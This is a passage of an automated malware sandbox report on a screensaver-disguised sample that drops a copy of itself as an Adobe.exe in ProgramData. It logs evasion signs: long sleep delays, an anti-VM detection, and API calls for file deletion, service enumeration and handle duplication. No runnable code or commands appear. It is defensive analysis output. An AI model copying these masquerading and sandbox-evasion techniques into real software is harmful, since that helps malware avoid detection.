                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX

                Malware Analysis System Evasion

                barindex
                Yara detected AntiVM3
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 432, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7476, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7804, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7928, type: MEMORYSTR
                Delayed program exit found
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040F7A7 Sleep,ExitProcess,2_2_0040F7A7
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory allocated: FB0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory allocated: 2AC0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory allocated: 2930000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory allocated: 9630000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory allocated: 8090000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory allocated: A630000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory allocated: B630000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 1520000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 31E0000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 2F40000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 9910000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 7FF0000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: A910000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: B910000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 2830000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 2AE0000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 2830000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 8FA0000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 9FA0000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: A1B0000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: B1B0000 memory reserve | memory write watchJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 1900000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 32C0000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 52C0000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 9850000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: A850000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: AA70000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: BA70000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 18E0000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 3670000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 1CE0000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: 9930000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: A930000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: AB40000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeMemory allocated: BB40000 memory reserve | memory write watch
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,5_2_0040DD85
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,2_2_0041A748
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 240000Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239891Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239766Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239641Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239531Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239421Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239312Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239199Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239094Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238984Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238875Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238766Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238655Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238531Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238393Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 237984Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 237828Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 240000Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239859Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239749Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239641Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239516Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239406Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239297Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 240000Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239890Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239780Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239648Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239531Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239422Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239313Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 240000
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239860
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239735
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239625
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239516
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239366
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239032
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 238813
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 240000
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239874
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239763
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239649
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239531
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239375
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239016
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 238758
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 238625
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeWindow / User API: threadDelayed 968Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeWindow / User API: threadDelayed 1993Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 1153Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 385Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 9602Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 802Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 387Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 355
                Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 781
                Source: C:\ProgramData\Adobe\Adobe.exeWindow / User API: threadDelayed 778
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeEvaded block: after key decisiongraph_2-47075
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeEvaded block: after key decisiongraph_2-47051
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeAPI coverage: 6.6 %
                Source: C:\ProgramData\Adobe\Adobe.exeAPI coverage: 9.5 %
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -12912720851596678s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -240000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -239891s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -239766s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -239641s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -239531s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -239421s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -239312s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -239199s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -239094s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -238984s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -238875s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -238766s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -238655s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -238531s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -238393s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -237984s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 5228Thread sleep time: -237828s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe TID: 6112Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7196Thread sleep time: -4611686018427385s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7196Thread sleep time: -240000s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7196Thread sleep time: -239859s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7196Thread sleep time: -239749s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7196Thread sleep time: -239641s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7196Thread sleep time: -239516s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7196Thread sleep time: -239406s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7196Thread sleep time: -239297s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7180Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7244Thread sleep count: 385 > 30Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7244Thread sleep time: -1155000s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7244Thread sleep count: 9602 > 30Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7244Thread sleep time: -28806000s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7516Thread sleep time: -3689348814741908s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7516Thread sleep time: -240000s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7516Thread sleep time: -239890s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7516Thread sleep time: -239780s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7516Thread sleep time: -239648s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7516Thread sleep time: -239531s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7516Thread sleep time: -239422s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7516Thread sleep time: -239313s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7500Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -2767011611056431s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -240000s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -239860s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -239735s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -239625s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -239516s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -239366s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -239032s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7844Thread sleep time: -238813s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7828Thread sleep time: -922337203685477s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -2767011611056431s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -240000s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -239874s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -239763s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -239649s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -239531s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -239375s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -239016s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -238758s >= -30000s
                Source: C:\ProgramData\Adobe\Adobe.exe TID: 7964Thread sleep time: -238625s >= -30000s
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,2_2_00409253
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,2_2_0041C291
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,2_2_0040C34D
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,2_2_00409665
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,2_2_0040880C
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040783C FindFirstFileW,FindNextFileW,2_2_0040783C
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,2_2_00419AF5
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,2_2_0040BB30
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,2_2_0040BD37
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,4_2_100010F1
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0040AE51 FindFirstFileW,FindNextFileW,5_2_0040AE51
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,7_2_00407EF8
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,8_2_00407898
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,2_2_00407C97
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_00418981 memset,GetSystemInfo,5_2_00418981
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 240000Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239891Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239766Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239641Jump to behavior
